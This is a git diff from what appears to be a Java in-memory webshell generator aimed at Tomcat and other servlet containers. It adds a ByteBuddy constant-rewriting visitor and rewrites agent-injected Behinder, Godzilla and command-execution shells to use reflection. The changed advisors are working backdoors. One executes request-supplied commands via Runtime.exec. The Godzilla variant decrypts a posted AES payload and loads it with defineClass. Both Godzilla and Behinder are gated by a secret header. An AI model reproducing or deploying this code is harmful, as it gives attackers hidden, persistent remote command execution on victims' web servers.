diff --git a/common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java b/common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java new file mode 100644 index 00000000..8203dc3a --- /dev/null +++ b/common/src/main/java/com/reajason/javaweb/buddy/LdcReAssignVisitorWrapper.java @@ -0,0 +1,55 @@ +package com.reajason.javaweb.buddy; + +import net.bytebuddy.asm.AsmVisitorWrapper; +import net.bytebuddy.description.field.FieldDescription; +import net.bytebuddy.description.field.FieldList; +import net.bytebuddy.description.method.MethodList; +import net.bytebuddy.description.type.TypeDescription; +import net.bytebuddy.implementation.Implementation; +import net.bytebuddy.jar.asm.ClassVisitor; +import net.bytebuddy.jar.asm.commons.ClassRemapper; +import net.bytebuddy.jar.asm.commons.Remapper; +import net.bytebuddy.pool.TypePool; +import org.jetbrains.annotations.NotNull; + +import java.util.Map; + +/** + * 修改方法中局部变量的赋值 + * + * @author ReaJason + * @since 2025/1/5 + */ +public class LdcReAssignVisitorWrapper implements AsmVisitorWrapper { + private final Map map; + + public LdcReAssignVisitorWrapper(Map map) { + this.map = map; + } + + @Override + public int mergeWriter(int flags) { + return flags; + } + + @Override + public int mergeReader(int flags) { + return flags; + } + + @Override + public @NotNull ClassVisitor wrap(@NotNull TypeDescription instrumentedType, @NotNull ClassVisitor classVisitor, + Implementation.@NotNull Context implementationContext, @NotNull TypePool typePool, + @NotNull FieldList fields, + @NotNull MethodList methods, int writerFlags, int readerFlags) { + return new ClassRemapper(classVisitor, new Remapper() { + @Override + public Object mapValue(Object value) { + if (map.containsKey(value)) { + return map.get(value); + } + return value; + } + }); + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java deleted file mode 100644 index c984a90e..00000000 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AgentGenerator.java +++ /dev/null @@ -1,42 +0,0 @@ -package com.reajason.javaweb.memshell.generator; - -import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; -import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.config.InjectorConfig; -import com.reajason.javaweb.memshell.config.ShellConfig; -import net.bytebuddy.ByteBuddy; -import net.bytebuddy.dynamic.DynamicType; -import net.bytebuddy.implementation.FixedValue; - -import static net.bytebuddy.matcher.ElementMatchers.named; - -/** - * @author ReaJason - * @since 2024/12/28 - */ -public class AgentGenerator { - - private final ShellConfig config; - private final InjectorConfig injectorConfig; - - public AgentGenerator(ShellConfig config, InjectorConfig injectorConfig) { - this.config = config; - this.injectorConfig = injectorConfig; - } - - public byte[] getBytes() { - DynamicType.Builder builder = new ByteBuddy() - .redefine(injectorConfig.getInjectorClass()) - .name(injectorConfig.getInjectorClassName()) - .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) - .method(named("getAdvisorName")).intercept(FixedValue.value(injectorConfig.getShellClassName())); - - if (config.isDebugOff()) { - builder = LogRemoveMethodVisitor.extend(builder); - } - - try (DynamicType.Unloaded make = builder.make()) { - return make.getBytes(); - } - } -} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java index 5b50af87..a56bd18c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java @@ -1,15 +1,19 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.memshell.config.BehinderConfig; +import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; +import java.util.Map; + import static net.bytebuddy.matcher.ElementMatchers.named; /** @@ -37,10 +41,7 @@ public class BehinderGenerator { DynamicType.Builder builder = new ByteBuddy() .redefine(behinderConfig.getShellClass()) .name(behinderConfig.getShellClassName()) - .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) - .field(named("pass")).value(md5Key) - .field(named("headerName")).value(behinderConfig.getHeaderName()) - .field(named("headerValue")).value(behinderConfig.getHeaderValue()); + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); @@ -49,6 +50,20 @@ public class BehinderGenerator { if (shellConfig.isDebugOff()) { builder = LogRemoveMethodVisitor.extend(builder); } + + if (shellConfig.getShellType().startsWith(Constants.AGENT)) { + builder = builder.visit( + new LdcReAssignVisitorWrapper(Map.of( + "pass", md5Key, + "headerName", behinderConfig.getHeaderName(), + "headerValue", behinderConfig.getHeaderValue() + )) + ); + } else { + builder = builder.field(named("pass")).value(md5Key) + .field(named("headerName")).value(behinderConfig.getHeaderName()) + .field(named("headerValue")).value(behinderConfig.getHeaderValue()); + } return builder; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java index 95bb64df..a595d208 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java @@ -1,13 +1,17 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; +import java.util.Map; + import static net.bytebuddy.matcher.ElementMatchers.named; /** @@ -24,8 +28,7 @@ public class CommandGenerator { DynamicType.Builder builder = new ByteBuddy() .redefine(shellConfig.getShellClass()) .name(shellConfig.getShellClassName()) - .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())) - .field(named("paramName")).value(shellConfig.getParamName()); + .visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion())); if (config.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); @@ -35,6 +38,12 @@ public class CommandGenerator { builder = LogRemoveMethodVisitor.extend(builder); } + if (config.getShellType().startsWith(Constants.AGENT)) { + builder = builder.visit(new LdcReAssignVisitorWrapper(Map.of("paramName", shellConfig.getParamName()))); + } else { + builder = builder.field(named("paramName")).value(shellConfig.getParamName()); + } + try (DynamicType.Unloaded make = builder.make()) { return make.getBytes(); } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java index 30e5bb14..e5a2eb66 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java @@ -1,8 +1,10 @@ package com.reajason.javaweb.memshell.generator; +import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; +import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import net.bytebuddy.ByteBuddy; @@ -10,6 +12,8 @@ import net.bytebuddy.dynamic.DynamicType; import org.apache.commons.codec.digest.DigestUtils; import org.apache.commons.lang3.StringUtils; +import java.util.Map; + import static net.bytebuddy.matcher.ElementMatchers.named; /** @@ -38,12 +42,7 @@ public class GodzillaGenerator { DynamicType.Builder builder = new ByteBuddy() .redefine(godzillaConfig.getShellClass()) .name(godzillaConfig.getShellClassName()) - .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())) - .field(named("pass")).value(godzillaConfig.getPass()) - .field(named("key")).value(md5Key) - .field(named("md5")).value(md5) - .field(named("headerName")).value(godzillaConfig.getHeaderName()) - .field(named("headerValue")).value(godzillaConfig.getHeaderValue()); + .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); if (shellConfig.isJakarta()) { builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE); @@ -52,6 +51,24 @@ public class GodzillaGenerator { if (shellConfig.isDebugOff()) { builder = LogRemoveMethodVisitor.extend(builder); } + + if (shellConfig.getShellType().startsWith(Constants.AGENT)) { + builder = builder.visit( + new LdcReAssignVisitorWrapper(Map.of( + "pass", godzillaConfig.getPass(), + "key", md5Key, + "md5", md5, + "headerName", godzillaConfig.getHeaderName(), + "headerValue", godzillaConfig.getHeaderValue() + )) + ); + } else { + builder = builder.field(named("pass")).value(godzillaConfig.getPass()) + .field(named("key")).value(md5Key) + .field(named("md5")).value(md5) + .field(named("headerName")).value(godzillaConfig.getHeaderName()) + .field(named("headerValue")).value(godzillaConfig.getHeaderValue()); + } return builder; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java index 934ce619..233f3bba 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/AgentJarPacker.java @@ -44,12 +44,6 @@ public class AgentJarPacker implements JarPacker { try (JarOutputStream targetJar = new JarOutputStream(new FileOutputStream(jarPath.toFile()), manifest)) { addDependency(targetJar, ByteBuddy.class); - if (generateResult.getShellConfig().isJakarta()) { - addDependency(targetJar, jakarta.servlet.Servlet.class); - } else { - addDependency(targetJar, javax.servlet.Servlet.class); - } - targetJar.putNextEntry(new JarEntry(mainClass.replace('.', '/') + ".class")); targetJar.write(generateResult.getInjectorBytes()); targetJar.closeEntry(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 8be7cf0a..61be7582 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.TomcatShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; @@ -65,8 +64,8 @@ public class Tomcat5ContainerTest { arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) +// arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar) ); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilterChainAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilterChainAdvisor.java index 9054d3d9..01bcd7ff 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilterChainAdvisor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilterChainAdvisor.java @@ -4,11 +4,7 @@ import net.bytebuddy.asm.Advice; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; +import java.io.BufferedReader; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.HashMap; @@ -18,26 +14,22 @@ import java.util.Map; * @author ReaJason */ public class BehinderFilterChainAdvisor { - public static String pass; - public static String headerName; - public static String headerValue; @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) public static boolean enter( - @Advice.Argument(value = 0) ServletRequest req, - @Advice.Argument(value = 1) ServletResponse res + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object res ) { - if (!(req instanceof HttpServletRequest)) { - return false; - } - HttpServletRequest request = (HttpServletRequest) req; - HttpServletResponse response = (HttpServletResponse) res; + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { Map obj = new HashMap(3); obj.put("request", request); - + Object response = res; Field field = null; Class clazz = obj.getClass(); while (clazz != Object.class) { @@ -50,16 +42,18 @@ public class BehinderFilterChainAdvisor { } if (field != null) { field.setAccessible(true); - response = (HttpServletResponse) field.get(obj); + response = field.get(response); } obj.put("response", response); + Object session = request.getClass().getMethod("getSession").invoke(request); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); obj.put("session", session); - session.setAttribute("u", pass); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); byte[] data = null; Class base64; - String parameter = req.getReader().readLine(); + BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); + String parameter = reader.readLine(); try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisor.java index ed4768ec..6a825ae7 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisor.java @@ -2,29 +2,26 @@ package com.reajason.javaweb.memshell.shelltool.command; import net.bytebuddy.asm.Advice; -import javax.servlet.ServletOutputStream; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; import java.io.InputStream; +import java.io.OutputStream; /** * @author ReaJason */ public class CommandFilterChainAdvisor { - public static String paramName; @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) public static boolean enter( - @Advice.Argument(value = 0) ServletRequest request, - @Advice.Argument(value = 1) ServletResponse response + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object response ) { - String cmd = request.getParameter(paramName); + String paramName = "paramName"; try { + String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); if (cmd != null) { - System.out.println(cmd); Process exec = Runtime.getRuntime().exec(cmd); InputStream inputStream = exec.getInputStream(); - ServletOutputStream outputStream = response.getOutputStream(); + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); byte[] buf = new byte[8192]; int length; while ((length = inputStream.read(buf)) != -1) { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAdvisor.java index aaecf799..0494998f 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAdvisor.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilterChainAdvisor.java @@ -4,38 +4,30 @@ import net.bytebuddy.asm.Advice; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; -import javax.servlet.ServletRequest; -import javax.servlet.ServletResponse; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import javax.servlet.http.HttpSession; import java.io.ByteArrayOutputStream; +import java.io.PrintWriter; import java.lang.reflect.Method; /** * @author ReaJason */ public class GodzillaFilterChainAdvisor { - public static String key; - public static String pass; - public static String md5; - public static String headerName; - public static String headerValue; @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) public static boolean enter( - @Advice.Argument(value = 0) ServletRequest req, - @Advice.Argument(value = 1) ServletResponse res + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object response ) { - if (!(req instanceof HttpServletRequest)) { - return false; - } - HttpServletRequest request = (HttpServletRequest) req; - HttpServletResponse response = (HttpServletResponse) res; + String key = "key"; + String pass = "pass"; + String md5 = "md5"; + String headerName = "headerName"; + String headerValue = "headerValue"; try { - if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { - HttpSession session = request.getSession(); - String parameter = request.getParameter(pass); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); byte[] data = null; Class base64; try { @@ -51,34 +43,37 @@ public class GodzillaFilterChainAdvisor { SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); c.init(2, keySpec); data = c.doFinal(data); - if (session.getAttribute("payload") == null) { + Object session = request.getClass().getMethod("getSession").invoke(request); + Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); + if (sessionPayload == null) { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); - session.setAttribute("payload", payload); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload); } else { - request.setAttribute("parameters", data); + request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) session.getAttribute("payload")).newInstance(); + Object f = ((Class) sessionPayload).newInstance(); f.equals(arrOut); f.equals(request); - response.getWriter().write(md5.substring(0, 16)); + PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); + writer.write(md5.substring(0, 16)); f.toString(); c.init(1, keySpec); byte[] encryptBytes = c.doFinal(arrOut.toByteArray()); - String value = null; + String result = null; try { base64 = Class.forName("java.util.Base64"); Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes); + result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes); } catch (Exception var6) { base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = base64.newInstance(); - value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes); + result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes); } - response.getWriter().write(value); - response.getWriter().write(md5.substring(16)); + writer.write(result); + writer.write(md5.substring(16)); } return true; }